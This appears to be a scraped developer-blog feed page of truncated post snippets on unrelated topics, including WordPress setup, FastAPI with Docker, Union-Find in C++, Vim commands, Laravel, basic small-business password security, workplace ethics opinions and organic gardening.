    Here’s a small internal list I keep for clean and stable WordPress setups. Nothing fancy, just things I wish someone had told me earlier :) Go to Settings > Permalinks and choose "Post name". Please don't wait until you’ve created 20 posts to change this. Less is more. Fewer plugins mean fewer problems. Stick to a core stack you trust. I use: Elementor Pro + JetEngine + WP Rocket + Fluent Forms. Unless you’re using remote apps or Jetpack, disable it. Some security plugins allow you to turn it off with one click. Block useless folders like /wp-content/plugins/ and allow only what needs indexing. Don’t block the site by mistake :) You don’t need a fancy staging server: LocalWP or MAMP can save your ass before going live. Simple stuff, but if you apply it early on, you avoid pain later. And if something breaks, fix it… or delete it and pretend it never happened ;) 🌱 Ellie Miguel – elliemiguel.es  ( 5 min )
    Getting Started with FastAPI + Docker: A Beginner-Friendly Cloud Setup
    Are you getting into cloud-native development and looking for a real-world project to sharpen your skills? Most FastAPI tutorials show you the basics, but miss the production considerations that matter in actual deployments. In this guide, I'll walk you through building and containerizing a FastAPI app with Docker—including the production best practices I learned while building healthcare applications and preparing for cloud certifications. I used this exact approach in my sepsis prediction application and other healthcare systems where reliability and security aren't optional. FastAPI paired with Docker gives you: Asynchronous performance for handling multiple requests Automatic API documentation (crucial for team collaboration) Type safety with Python type hints Consistent environments a…  ( 8 min )
    Building a SaaS for Freelancers: Proposals, Client Onboarding, Task Management & Time Tracking
    🚀 The Problem I'm Solving Writing and sending custom proposals Onboarding clients with forms, contracts, or payment steps Tracking tasks and deadlines Logging billable hours But most tools solve just one part of the workflow. My goal? Build a platform that handles all of it, with minimal context-switching. 🧩 Core Features of the Platform Rich text editor with sections (scope, deliverables, pricing, etc.) Client-specific customization Export to PDF or send via email E-signature (planned feature) 👥 2. Client Onboarding Automatically send onboarding form(s) Collect project briefs, files, or NDAs Add client to the platform with limited access Trigger welcome email with project timeline 📋 3. Task Management Custom workflows (To-do / In Progress / Done) Nested subtasks Deadline & priority labels Commenting for team/client communication ⏱️ 4. Time Tracker Manual or live tracking (start/stop timer) Time linked to tasks or projects Daily/weekly reports for invoicing Optional idle detection Here’s what I’m using under the hood: Frontend: React + TailwindCSS (thinking of moving to Next.js soon) Backend: Node.js with Express Database: PostgreSQL via Supabase Authentication: Supabase Auth File Storage: Supabase Storage (for proposal PDFs and client uploads) Emailing: Resend API (for transactional emails) Deployment: Vercel (frontend) + Supabase (backend & DB) Why Supabase? Because it speeds up prototyping and gives me a scalable backend-as-a-service without locking me in like Firebase sometimes does. Here’s what I’m using under the hood: Frontend: React + TailwindCSS (thinking of moving to Next.js soon) Backend: Node.js with Express Database: PostgreSQL via Supabase Authentication: Supabase Auth File Storage: Supabase Storage (for proposal PDFs and client uploads) Emailing: Resend API (for transactional emails) Deployment: Vercel (frontend) + Supabase (backend & DB) Why Supabase? Because it speeds up prototyping and gives me a scalable backend-as-a-service without locking me in like Firebase sometimes does.  ( 6 min )
    Union-Find(With Rank) C++: Story
    👑 The War of Crowns: Rise of the Ranks in the Realm of Disjointed Kings "Peace can be forged. But power must be respected." Inscription above the Obsidian Throne In the age after the unification, after the scroll of parent was passed to every soul, But unity without order is like a sword without a hilt — powerful, yes, but dangerous. Many kings had joined together. old, ancient pride — stirred once again. “Why,” asked one warlord, “must my kingdom kneel to one weaker than mine?” The winds answered not with words, but with fire. "If you must unite again, let the **stronger king rule." Thus began the Age of the Rank, UnionFind scroll — now built to honor strength. class UnionFind { vector parent; vector rank; public: UnionFind(int n) { parent.resize(n); …  ( 8 min )
    Union-Find(Without Rank) C++: Story
    ⚔️ Chronicles of the Shattered Crowns: The Union of the Realms "When every warrior believes he is king, peace lies in illusion. — Ancient War-Rune of the Folded Lands In the time before memory, the world was broken. Not by war, but by pride. N scattered realms, each oblivious to the others, each believing, "I am the only king." But in the shadows of time’s decay, a new age began — understanding. class UnionFind { vector parent; public: UnionFind(int n) { parent.resize(n); for (int i = 0; i < n; ++i) parent[i] = i; } The Scroll of Kingship was rediscovered. A great Archivist, silent and steady, moved across the lands. “You are your own king… for now.” And thus was the UnionFind class born, etched in steel and starlight. parent array, began …  ( 8 min )
    [Boost]
    Ethereum vs NEAR: A Developer’s Architecture Deep-Dive 🔸MøДß🐦‍🔥✴️ ・ Aug 3 #blockchain #ethereum #developer #webdev  ( 5 min )
    Ethereum vs NEAR: A Developer’s Architecture Deep-Dive
    INTRODUCTION If you're a developer considering the jump from Ethereum to NEAR Protocol, prepare yourself for a paradigm shift. These two platforms approach fundamental concepts like accounts, smart contracts, and user interactions in remarkably different ways. This deep dive explores those differences through a developer-first lens, focusing on how NEAR's human-readable accounts and access keys create entirely new possibilities compared to Ethereum's traditional model. Ethereum: The Traditional Smart Contract Approach In Ethereum's world, everything revolves around two types of accounts: Externally Owned Accounts (EOAs) are controlled by private keys and can initiate transactions. Think of your MetaMask wallet address - that's an EOA. Contract Accounts contain code and can only react when …  ( 9 min )
    Dart Lesson 10: Null Safety (Part 1) — Why is Null Safety Needed?
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    What Is a Test Environment and How Can it Be Useful?
    A test environment is a controlled setup where the application as a whole and all its components are separately tested for defects, performance issues, and usability before they go live. It’s the sandbox where developers and QA teams ensure the software meets all requirements and performs flawlessly under real-world conditions. *Why Is a Test Environment Important? * A separate environment ensures that developers and QA teams can work independently without interfering with each other, each focusing on their environment. Real-World Simulation: Mimics actual user conditions from the production environment to ensure the software works as expected. Comprehensive Testing: QAs can leverage various types of testing tools and methods without limitations, ensuring they can conduct thorough t…  ( 7 min )
    tips to solve errors/bugs
    take a walk take a break take a shower have a snack take a nap chatgpt/claude/deepseek/gemini ask another developer youtube/github/stackoverflow  ( 5 min )
    tips to not break production
    test thoroughly have others test the app before releasing check if new features haven't broken existing ones make smaller deployments get the code reviewed before deploying  ( 5 min )
    Mastering Angular DevTools
    If you’ve ever felt like debugging an Angular app was like solving a puzzle in the dark, you’re not alone. I’ve been there too, opening the browser console, adding console.log() statements, trying to guess why a component keeps re-rendering or where a signal is stuck. That changed when I started using Angular DevTools. In this article, I’ll walk you through how Angular DevTools works, what you can do with it, and how to use it to debug smarter and optimize faster, with practical examples and diagrams to help you visualize what’s happening under the hood. Angular is powerful, but sometimes that power makes things harder to trace. Between @Input() bindings, signals, services, lifecycle hooks and change detection, it can be difficult to see what's really going on. Angular DevTools is a browse…  ( 7 min )
    5 Ways AI Is Changing the Way We Watch TV — And Why It’s Only the Beginning
    The way we watch television has never stood still. From bulky antennas and limited broadcast hours to on-demand streaming and global access, the evolution has been constant. But nothing has shifted the experience quite as profoundly as artificial intelligence. AI is no longer just a futuristic buzzword. It's already reshaping our viewing habits, often in ways we don’t even notice. It determines what content gets recommended, how it’s presented, and even how we interact with it. Behind the scenes, machine learning models are optimizing every second of your screen time — from quality to context to convenience. This article explores five significant ways that AI is actively transforming how we watch TV. Whether you’re a casual viewer or a passionate binge-watcher, it’s becoming clear that the…  ( 8 min )
    Day 54: When React Decides to Be Extra
    Another day, with react trying to rewire my brain. Started this morning at 8 AM with what I like to call "heat therapy" (okay, it's just a hot water bottle, but it sounds more professional). Finally dove deeper into React today, and let me tell you - it's like learning a new language where every word has seventeen different meanings depending on the context. My head feels like it went through a blender, but the good kind of blender where you might actually emerge with a smoothie brain that understands component lifecycles. The plan is to wrap up React tomorrow and jump into Tailwind CSS. Because apparently, my brain needed more styling frameworks to juggle alongside everything else I'm trying to cram in there. Made it to the library with my umbrella, which performed slightly better today. Still got drenched, but hey, improvement is improvement, right? There's something about the library environment that just makes you want to actually get stuff done, even when your brain is protesting every new concept you're trying to shove into it. Had one of those moments while heading to the library where I thought, "why can't I just marry rich and skip all this?" But then reality kicks in - apparently, it's the guys' job to mess themselves up with work (thanks, society). Spontaneously created a team for an ideathon today. Called it "timepass" but we both know how these things usually end up. One minute you're just participating for fun, the next minute you're three days deep Tackle Tailwind CSS (because my brain clearly needed more frameworks) The learning curve is steep, the concepts are multiplying faster than I can process them, and my umbrella skills are marginally improving. What more can you ask for in a day?  ( 6 min )
    The Most Powerful, Easy To Use And Best State Management Library in React
    Zustand state management library is recently gaining a lot of popularity compared to Redux toolkit. It also has more downloads and GitHub stars than redux toolkit as you can see below. Many industry projects are nowadays preferrring Zustand for creating applications. So in this article you will learn how to get started with Zustand in the React application. So let’s get started. Zustand is a simple and fast state management library for React applications. It is easy to use, especially for beginners, and a great alternative to more complex libraries like Redux and Redux Toolkit. Why Use Zustand? Very easy to learn: Minimal API surface and very little setup required. Small and fast: Less bundle size and efficient updates. Works with hooks: Feels native to modern React development.…  ( 7 min )
    💡 From Curiosity to Impact: Building with Kiro AI IDE 👻 for South African Job Seekers
    Like many developers, I'm always on the lookout for tools that can streamline my workflow, especially in today's AI fast-paced world. Each day, one stumbles upon a new model, a new agent, a new AI IDE. That's how I stumbled upon #Kiro AI IDE, an AI-powered development environment 🧠⚙️ that promised more than just syntax highlighting. What caught my attention? 📑 The Spec feature allowed me to define my project requirements, designs, task management, and logic in natural language, directly within the IDE. These specs actually act as living documentation and intelligent guidance for the AI. They enable it to generate and refine code that aligns with my intentions by outlining endpoints, describing UI components, and detailing business logic. Well, I intended to build a Reality Checker, which…  ( 7 min )
    Ultimate Vim mannual
    A curated collection of essential and advanced Vim tips, commands, and techniques to boost your productivity and mastery of Vim. gg — Go to top of file G — Go to bottom of file nG — Go to line n H / M / L — Top / Middle / Bottom of screen Word-wise Navigation w — Start of next word e — End of current/next word b — Beginning of current/previous word ge — End of previous word Paragraph & Sentence { / } — Previous / next paragraph ( / ) — Previous / next sentence Matching Pairs % — Jump between matching (), {}, [], etc. Search-Based Movement /pattern — Search forward ?pattern — Search backward n / N — Repeat last search forward / backward 📋 2. Copy (Yank) and Paste Basic Copy yy — …  ( 10 min )
    Workplace Ethics
    Someone I know forged attendance records for weeks, possibly months. Their log in time in the WhatsApp attendance group was 9:30 am but in the actual biometric device, their log in time was 9:50 am. They also left early on several days after taking permission from the manager but never documented it in the attendance group (only 2 hours of permission is allowed per month). And they took second half leaves and did not document it in the WhatsApp attendance group and did not log out in the biometric device on those specific days. Do you think what they did was unethical? Do you think what they did was fraud? And the company did not take any action on them. Do you think that is morally responsible? This leaves me with these questions for the person involved: Is your character's worth equivalent to half a day's salary? Can you sleep at night knowing that you cheated the very people you spent the whole day with? Do you think it is fair that you get away with such things whereas other people honestly track their time, hours and leaves? This leaves me with these thoughts regarding the person involved: Did they grow up thinking that unethical things are okay as long as you don't get caught? Are their actions a direct reflection of their upbringing? In their mind, do they think they did not do anything wrong? Maybe because they have done it so many times and haven't gotten caught. And these are my thoughts about the way the management handled the situation: Is inaction in such a situation a result of a lack of moral courage? Is it fair to other employees who are honest? Inaction in such a situation creates resentment among honest people. Inaction in such a situation is a way to reward dishonesty and punish honesty. "Injustice anywhere is a threat to justice everywhere." Martin Luther King Jr  ( 6 min )
    Revolutionize Your AI Projects: Harness the Power of the PEER Pattern for Multi-Agent Systems
    In today's rapidly evolving technological landscape, the concept of multi-agent systems has emerged as a cornerstone for advancing artificial intelligence. At the heart of this innovative approach lies the PEER pattern, which stands for Plan, Execute, Express, and Review. This structured methodology facilitates efficient collaboration among autonomous agents, empowering them to tackle complex tasks collectively. By outlining a clear workflow, the PEER pattern not only enhances the individual capabilities of agents but also fosters synergy, ultimately leading to superior AI-driven solutions. As we delve deeper into the intricacies of multi-agent systems and the significance of the PEER pattern, we will explore its implications for collaborative task management and effective problem-solving …  ( 16 min )
    Accelerate Your React & Next.js Development with Themedevhub: UI Kits, Tools & Templates
    Hey fellow developers! 👋 If you’re building modern web apps with React, Next.js, and Tailwind CSS, you know how time-consuming it can be to find reliable UI kits and handy dev tools that fit your tech stack. That’s why I’m excited to share Themedevhub — a growing platform designed specifically for developers like you and me who want free and premium UI components, ready-to-use templates, and practical developer tools all in one place. What Does Themedevhub Offer? React & Next.js Templates: Fully functional starter kits to jumpstart your projects Developer Tools: Password generators, live preview tools, clipboard helpers, and more Focused on Performance: Built with MERN stack principles, optimized for speed and scalability Why Use Themedevhub? Reduce boilerplate code and focus on building your app’s core features Keep your projects consistent with reusable UI parts Access a mix of free and premium resources tailored for React & Next.js developers How to Get Started? themedevhub.com and explore the UI kits and tools. Whether you’re a solo dev, freelancer, or working on a startup MVP, Themedevhub is here to speed up your workflow. Give it a try and let me know what you think! Feedback and contributions are welcome. Happy coding! 🚀  ( 6 min )
    Postman vs Apidog: Which One Deserves a Spot in Your Dev Toolkit?
    As developers, we rely heavily on API platforms to test, document, and manage our services. For years, Postman has been the preferred tool. However, lately, Apidog has been gaining popularity as a modern alternative. So… which one should you choose? Pros: Mature ecosystem with extensive integrations. Rich support for automated testing and monitoring. Great collaboration features via Postman Workspaces. Large community and documentation. Cons: Heavier UI, can feel slow for basic tasks. Some advanced features are locked behind a paywall. Pros: Combines API testing + documentation + mock + management in one UI. Native OpenAPI/Swagger-style workflow. Lightweight, clean interface. Faster performance in many cases. Cons: Smaller community and fewer integrations (for now). Still evolving—some features might feel beta-like. If you're working in a team with deep integration needs, Postman remains a strong choice. However, if you're looking for a fast, modern tool that seamlessly integrates API documentation and testing with minimal overhead, Apidog might surprise you. I’m starting to reach for Apidog on new projects—especially solo or small-team builds. It just feels… smoother. Follow @mahmud-r-farhan for more!  ( 5 min )
    I was tired of TypeScript's nested object hell, so I built ts-safe-path
    The Problem 😤 We've all been there. You're working with a deeply nested object in TypeScript: const user = await fetchUser(); const city = user?.profile?.address?.city; // 🤮 And then you realize: No autocompletion for paths Runtime errors when something is undefined The ?. chain is getting ridiculous You lose type safety with dynamic paths The Solution ✨ I built ts-safe-path - a tiny (< 2KB) TypeScript utility that gives you: import { safePath } from 'ts-safe-path'; const sp = safePath(user); const city = sp.get('profile.address.city'); // 🎉 Full autocompletion! Mind-blowing Features 🤯 1. Autocompletion for ALL nested paths const data = { user: { settings: { theme: 'dark', notifications: { email: true, push: false } } } }; const sp = sa…  ( 7 min )
    Complete DSA Learning Roadmap in C++: From Beginner to Advanced
    Learning Data Structures and Algorithms (DSA) using C++ is one of the most effective paths for mastering programming fundamentals and preparing for technical interviews. This comprehensive roadmap will guide you through a structured, step-by-step approach to learning DSA effectively. C++ offers several advantages for DSA learning: Memory Management: Provides deep understanding of low-level memory operations[3] Performance: Faster execution compared to interpreted languages[4] Industry Standard: Widely used in competitive programming and technical interviews[5] Rich Libraries: Standard Template Library (STL) provides pre-built data structures and algorithms[6][7] Before diving into DSA, ensure you have solid C++ foundations: Week 1-2: C++ Basics Variables, Data Types, and Operators[8] Input…  ( 8 min )
    AWS Cloud WAN: The Future of Networking Centrally Managed
    Vision for the Future of Networking: Centrally Managed: Key Features Driving the Future Centralized Global Management: Cloud WAN offers a single dashboard and a policy-driven approach for configuring, deploying, and managing global networks. IT teams can define intent in a central policy, and AWS enforces these controls across multiple regions, accounts, and environments. Integrated Security & Network Segmentation: Security policies and network segmentation (similar to VRFs) are native to Cloud WAN. This allows isolation of sensitive workloads and the enforcement of compliance across a global infrastructure without the operational burden of manual configurations. Native Hybrid and SD-WAN Support: It seamlessly integrates traditional WAN, SD-WAN, and public cloud, providing flexibility to c…  ( 7 min )
    C malloc size calculate
    Type sizeof(type) Description char 1 byte Smallest addressable unit (usually ASCII) short 2 bytes Short integer int 4 bytes Standard integer long 8 bytes Long integer (64-bit systems) long long 8 bytes Guaranteed at least 64 bits float 4 bytes Single-precision floating point double 8 bytes Double-precision floating point long double 16 bytes Extended precision (platform-dependent) void * 8 bytes Generic pointer (on 64-bit systems) int * 8 bytes Pointer to int (same size as all pointers) char str[] = "hello"; printf("%zu\n", strlen(str)); // prints 5 printf("%zu\n", sizeof(str)); // prints 6 (5 letters + '\0') char *str = "hello"; printf("%zu\n", sizeof(str)); // prints 8 (on 64-bit, size of pointer) printf("%zu\n", strlen(str)); // prints 5 (number of char…  ( 7 min )
    Network Security Tips For Small Business
    Many small businesses think cyberattacks won’t happen to them. But hackers often target small companies because they know the defenses are weak. One mistake can lead to stolen data, lost customers, and legal trouble. This guide shows easy ways to protect your network using basic tools. Weak passwords are easy to guess. If you use something like password123 or the same password on every account, you’re making it easy for hackers. Use different passwords for each account. Make them long—at least 12 characters. Mix letters, numbers, and symbols. For example, Tr!ckH0use_94# is way better than admin123. Don’t try to remember them all. Use a password manager. It stores your passwords safely. Some good ones are Bitwarden, LastPass, and 1Password. Also, turn on two-step login, called Multi-Factor …  ( 7 min )
    Remote Work Comparison 2025: Freelance, Full-Time, Hybrid & More
    In 2025, remote work isn't just a perk — it's the new normal. But not all remote jobs are created equal. Are you better off freelancing, working full-time from home, going hybrid, or trying asynchronous work? This post breaks down the pros, cons, and key differences of today’s top remote work models — so you can find the best fit for your lifestyle and goals. What it means: You're employed by a company but work from home full-time. Pros: Fixed monthly income Health insurance, paid leaves, and other benefits Company-provided structure and stability Cons: Fixed working hours (often 9 to 5) Limited flexibility Possible burnout due to blurred work-life boundaries Best for: People who want stability, prefer team environments, and don’t mind structure. What it means: You offer services to client…  ( 6 min )
    The Andy Byron Coldplay incident
    My take on the Andy Byron Coldplay incident: We see that Andy Byron got a lot more heat than Kristin Cabot for what happened at Coldplay. Do you know why? Because he is at more fault. First off - why do I say he got more heat? Because he is the one that the social media people cannot stop talking about. His wife's reaction is more discussed than Kristin's husband's reaction. And now - why is he more at fault? Because he was in a position of power and he misused it. Andy Byron as the CEO of Astronomer had a lot more power than any other employee in the company and he chose to use that power to seek an inappropriate and unethical relationship with another employee in the company who worked below him. Any one is Kristin's place would have felt coerced to go along. That is not an affair, that is coercion and harassment. And she is not a singular woman in this situation. Many women all over the world feel obliged to stay in inappropriate relationships because of power imbalance and fear of losing their jobs. And he is certainly not a singular man in this situation. Many men abuse their positions of power to get what they want. Some might argue that she looked too happy in the video for it to be coercion. To them, I'd like to say this - once you make a decision, your mind makes peace with it, it becomes your reality and instead of being unhappy all the time, your brain accepts your reality and stays happy even in difficult situations that you'd rather not be in. That's resilience.  ( 6 min )
    Nicholas Renotte: How to Build a Stock Screener AGENT with LangGraph in 30 Minutes (LangGraph Crash Course)
    How to Build a Stock Screener AGENT with LangGraph in 30 Minutes Nick’s crash course walks you through everything you need to spin up a stock-screener agent with LangGraph: importing your LLM, managing state, building the graph, and running your calls. He even spots a small yfinance docs hiccup—just swap count=5 for size=5 and you’re golden. Dive into the full code on GitHub, snag 50% off the Full Stack course with code YOUTUBE50, and connect with Nick on LinkedIn, Facebook, GitHub, or Discord. Happy coding! Watch on YouTube  ( 5 min )
    Unlocking Nature's Secrets: How Ant Colonies Inspire Cutting-Edge AI Solutions
    Imagine a world where tiny, industrious ants are not just busy gathering food or building nests, but also inspiring cutting-edge algorithms that solve complex problems in our technology-driven society. Welcome to the realm of Ant Colony Optimization (ACO), a fascinating algorithm derived from the natural behavior of ants, designed to mimic their efficiency in finding paths and resources. Since its inception in 1992 by Marco Dorigo, ACO has become a cornerstone in the field of swarm intelligence, attracting attention across various industries including routing, scheduling, and even robotics. As we delve into the ant-inspired algorithmic world, you’ll discover how these little critters, whose strength-to-weight ratio can astoundingly reach 3500 to 5000 times their body weight, have influence…  ( 12 min )
    Getting Started with Laravel: A Beginner's Guide
    Getting Started with Laravel: A Beginner's Guide Laravel is a powerful PHP framework designed for web artisans. In this article, we'll walk through the basics of setting up Laravel, building your first application, and understanding its core features. Laravel offers elegant syntax, robust features, and a vibrant community. It simplifies common tasks like routing, authentication, and caching, making web development enjoyable and productive. To install Laravel, you need Composer: composer create-project laravel/laravel example-app MVC Architecture Eloquent ORM Blade Templating Routing & Middleware Authentication & Security Install Laravel Configure your .env file Run migrations Start building routes and controllers Laravel Documentation Laracasts Happy coding with Laravel!  ( 5 min )
    Weekly Challenge: I sent my date a letter
    Weekly Challenge 332 Each week Mohammad S. Anwar sends out The Weekly Challenge, a chance for all of us to come up with solutions to two weekly tasks. My solutions are written in Python first, and then converted to Perl. It's a great way for us all to practice some coding. Challenge, My solutions You are given a date in the format YYYY-MM-DD. Write a script to convert it into binary date. For this task, I do these steps. Split the date from input_string on hyphens into the date_parts list (array in Perl). Convert each part from an integer to binary value. This is stored as binary_parts. Join the binary_parts list in a single string separated by hyphens. Python def binary_date(input_string: str) -> str: date_parts = input_string.split('-') binary_parts = [bin(int(part))[2:] for part in date_parts] return '-'.join(binary_parts) Perl sub main ($input_string) { my @date_parts = split /-/, $input_string; my @binary_parts = map { sprintf( "%b", $_ ) } @date_parts; say join( '-', @binary_parts ); } $ ./ch-1.py 2025-07-26 11111101001-111-11010 $ ./ch-1.py 2000-02-02 11111010000-10-10 $ ./ch-1.py 2024-12-31 11111101000-1100-11111 You are given a string. Write a script to find out if each letter in the given string appeared odd number of times. Python has the Counter method that will convert an iterable (like a string) and create a dictionary with the frequency of each letter. I then use the all function to check if all letters occur an odd number of times. def odd_letters(input_string: str) -> bool: freq = Counter(input_string) return all(count % 2 == 1 for count in freq.values()) Perl doesn't have an equivalent of the Counter function, so I do that part by hand. sub main ($input_string) { my %freq = (); for my $char ( split //, $input_string ) { $freq{$char}++; } my $all_odd = all { $_ % 2 == 1 } values %freq; say $all_odd ? "true" : "false"; } $ ./ch-2.py weekly False $ ./ch-2.py perl True $ ./ch-2.py challenge False  ( 6 min )
    From Customer Support to Front-End Development — My Journey Begins
    Hey Dev community 👋 I’m Bhanu, currently working in customer support role, and today I’m finally doing what I always dreamed of — learning to become a developer. I didn’t grow up with access to modern computers or tech. I come from a remote village in India. My journey with technology started on a ₹500 keypad phone when I was about 10–12 years old. Somehow, I managed to download newly released movies, Java games, and explored every corner of that tiny device. Tech always fascinated me. Later, when I got a Nokia Windows phone in class 10th, I turned it into a mock Android using launchers and tweaks. I figured out how to run games that weren’t even supported or released in India. Family and friends always came to me for fixing phones or tech issues. Despite never owning a laptop, I learned more about computers and systems than most people around me. I’m not saying this to boast — it’s just who I am. I’m curious, a fast learner, and I like breaking down problems to the fundamentals. Things I’ve taught myself: Solved a Rubik's cube within minutes Learned Sudoku in few hours Can play chess and guitar Now: diving into front-end development I recently purchased a MacBook, downloaded VS Code, built a simple portfolio site, and started learning HTML & CSS with freeCodeCamp. This blog is the first of many. I’ll be sharing my learnings here. If you're on a similar path or made the switch from a non-tech role — I'd love to hear your story too. Let’s grow together 🚀 CodeNewbie #WebDevJourney #CareerSwitch #100DaysOfCode  ( 6 min )
    This Portfolio Template Helped 5+ Devs Land Interviews in 48 Hours
    As developers, we’ve all said it: “I’ll finish my portfolio this weekend.” That’s why I decided to build a lightweight, ready-to-use portfolio template — and share it with the community. I needed a personal site that: Looked clean and modern Loaded fast on all devices Included smooth animations Was quick and easy to customize Most templates I found were bloated, overly complex, or simply not developer-friendly. So I created my own — built with simplicity and flexibility in mind using: HTML – for clean structure Tailwind CSS – to build fast with utility-first classes GSAP – for subtle, scroll-based animations A responsive layout that works on all screen sizes Scroll-triggered GSAP animations Clean, semantic HTML Utility-first styling with Tailwind Pre-built sections: Hero, About, Projects, Contact You can clone it, customize it, and make it your own — whether you’re applying for your first dev job or refreshing your freelance brand. Front-end developers who want to skip boilerplate Freelancers who need a fast, stylish portfolio Students and job seekers building their personal brand Anyone who wants to ship faster and stand out I’ve made the template available on a platform where you can preview it, grab the files, and start customizing. Grab Now Thanks for reading! Hope this helps you finally finish (or start) that portfolio project you’ve been putting off. Feel free to share how you customize it — I’d love to see what you build.  ( 6 min )
    Hi everyone, I'm a beginner in React. I created a component,but its can't emport,can help enyone
    A post by savinder kour  ( 5 min )
    5 Security Patterns Go Developers Should Avoid
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    I Created a BitTorrent Client with Blazor and c#
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    Dart Lesson 8: Object-Oriented (Part 2) — Inheritance and Polymorphism
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    Postgress Installation Guide for a Linux Server
    1. Overview PostgreSQL is a popular database system released under an open-source license. Its roots can be traced to the POSTGRES project, which dates back to 1986 at the University of California at Berkeley. In this tutorial, we’ll learn how to install and configure PostgreSQL on a Linux system. 2. Installation PostgreSQL is available in the repositories of most major Linux distributions: Debian and Debian-based distributions like Ubuntu Red Hat Linux and related distributions like Rocky, AlmaLinux, and Fedora SUSE Installing the platform using a package manager should also perform all the necessary initialization tasks. As a result, this is the recommended method of installing PostgreSQL. However, the repositories of our system may not contain all versions of the package. We can fin…  ( 9 min )
    Laravel Octane: 15 Advanced Configuration Techniques for Maximum Performance
    Introduction Laravel Octane revolutionizes PHP application performance by serving your Laravel app using high-performance application servers like Swoole and RoadRunner. While the basic installation provides significant speed improvements, true performance mastery comes from strategic configuration tuning. In this comprehensive guide, you'll discover advanced Octane configuration techniques that squeeze every ounce of performance from your Laravel applications. Whether you're handling thousands of requests per second or optimizing for resource-constrained environments, these battle-tested configuration strategies will transform your application's performance profile. We'll dive deep into memory management, worker optimization, and advanced tuning parameters that most developers never exp…  ( 11 min )
    TypeScript Tricks Every Angular Developer Should Know
    TypeScript isn't just a language choice for Angular - it's the essential toolkit that transforms how you build, debug, and maintain robust web applications. But are you merely using TypeScript, or are you truly taking advantage of its powerful features? In this article, you'll discover how mastering TypeScript can elevate your Angular development, enabling you to tackle complex challenges with confidence and clarity. Get ready to explore practical strategies for harnessing type safety, advanced types, decorators, generics, utility types, and proven best practices - each tailored to unleash the full potential of your Angular apps. One of the biggest strengths of Angular is its integration with TypeScript - a language that brings type safety to JavaScript development. By leveraging TypeScrip…  ( 11 min )
    🚀 August 2025 Developer Update: React 19, AI-Powered Tools, and Big Tech’s $155B AI Playbook
    Hey devs! 👋 ⚛️ React 19 Is Here – A Game-Changer for Full-Stack Devs React Server Components (RSC) are now stable ✅ The new use() hook simplifies promise handling 🔄 Improved form support and cleanup of legacy APIs 🧼 Why it matters: 📚 Read the React 19 release blog 🤖 AI Tools Are Reshaping Developer Productivity Perplexity Comet: AI-powered research on steroids Grok 4: In-car AI + developer assistant AutoGen Studio: No-code AI agent creation ElevenLabs Voice AI: Code with your voice Why it matters: 🔗 July AI Tools Roundup 💰 Big Tech Has Spent $155 Billion on AI in 2025 Why it matters: 📈 Tip: If you haven’t started exploring AI integration into your stack, now’s the time. 🔗 Big Tech AI Investment Report 🛠️ 78% of Developers Are Now Using AI in the SDLC Use cases include: Adaptive agents 🤝 On-prem AI models for compliance 🔐 Proactive coding assistants 🤖 Takeaway: Learn how to integrate AI in your CI/CD, code reviews, testing, and debugging processes. 🔗 AI Trends in Software Development 🌐 Top Emerging Technologies to Watch Quantum Computing 🧮 Generative AI 🎨 IoT, 6G, and Edge Computing 🌐 Extended Reality (XR), AR/VR 🥽 Sustainable & Green Tech 🌱 Why it matters: 🔗 Top Emerging Technologies Report 📬 About This Update 🔍 Let’s Discuss 👇 Drop your thoughts in the comments. Let’s help each other grow. Tags: React19 AItools WebDevelopment DevTools SoftwareEngineering TechNews DeveloperCommunity EmergingTech JavaScript MachineLearning  ( 7 min )
    Demystifying Java Records: A Developer's Guide
    Oracle has released the Java version 24 this year, but still I see the usage of the Java Records is limited. This article will be focussed on Java Records what it does and where we can use it. Lets dive into it. Based on JEP:359, Records are kind of type declarations and is a restricted form of class. It gives up the freedom that classes usually enjoy and in return, gain a significant degree of concision. Below code sample tells you, how you can create a record. public record Person(String name, int age) {} A record acquires many standard members automatically, like: A private final field for each component of the state description. A public read accessor method for each component of the state description, with the same name and type as the component. A public constructor, whose signature…  ( 10 min )
    Hooks001: Use State Hook
    2.0 React Hooks: 👍Github Code: 📚Article To Read Link Simple CRUD Using useState Hook React hooks are introduced in 2019 in react version 16.8_+ Hooks can not be used inside class component. What hooks solved? State Life Cycle Method Duplicate Code Sharing Same Logic Hook Rules Hook is used in top level. const [todo,setTodo]=useState() এখানে, প্রথম ইনডেক্সে থাকবে ভেরিয়েবল (todo) এবং দ্বিতীয় ইনডেক্সে থাকবে ফাংশন (setTodo) This hook return an array. আমরা একটি অ্যারে থেকে মান গুলি নিতে চাইব, এবং আমাদের অ্যারে ডিস্ট্রাকচারিং করতে হবে that is অবজেক্ট ডিস্ট্রাকচারিং করার মত। অবজেক্ট ডিস্ট্রাকচারিং: const state={ todo:' ', warning:null } const {todo,warning}=state Array ডিস্ট্রাকচারিং: const array=[‘bappa’,’appa’,’totot’]; const [a,b,c]=array; // a=’bappa’…  ( 6 min )
    Python Challenge #1 -Expressions Edition
    Welcome to my Python-to-ML Challenge Series Today's Challenge: Expressions Here are a few quick questions. Try them out 👇 Floating-point math… friend or foe? 🧮 Mix booleans, lists, and strings... what could go wrong? 🤔 Same numbers. Same values. But are they the same objects? Nested ternary operators: readable logic or riddle in disguise? That comma at the end... a typo or a twist List arithmetic isn't like math class. Python’s chained assignment... who swaps with whom? Share your answers in the comments! Follow me to keep up with future Python and ML challenges!  ( 5 min )
    5 Organic Ways to Treat Rust on Plants
    Gardening is a rewarding hobby, but plant diseases can be frustrating, especially when you notice rust spots spreading across your leaves. Rust is a fungal infection that weakens plants by reducing photosynthesis, eventually affecting blooms and harvests. The good news? You can treat rust organically without relying on harsh chemicals. Here are five effective, eco-friendly methods to protect your garden. As soon as you notice rust spots, remove the infected leaves and dispose of them in the trash (not the compost bin). This stops the fungus from spreading to healthy parts of your plant. Fungal infections thrive in damp, crowded spaces. Spacing your plants properly and lightly pruning can increase airflow, making it harder for rust to survive. Wet leaves are a playground for rust fungi. Instead of overhead watering, water at the base of your plants early in the morning. This keeps leaves dry and reduces fungal growth. Homemade sprays like baking soda solution (1 tsp per quart of water with a few drops of dish soap) can help slow fungal growth. Neem oil is another organic fungicide that’s safe for most plants and highly effective against rust. Healthy plants resist diseases better. Add compost, worm castings, or compost tea to improve soil health, giving your plants the nutrients they need to fight off infections naturally. Learn More About Organic Plant Care Treat Rust on Plants Organically With consistent care and organic methods, your plants can bounce back and thrive without harmful chemicals.  ( 6 min )
    Solana’s DeFi Boom: How Raydium and Orca Drive $15 Billion in TVL
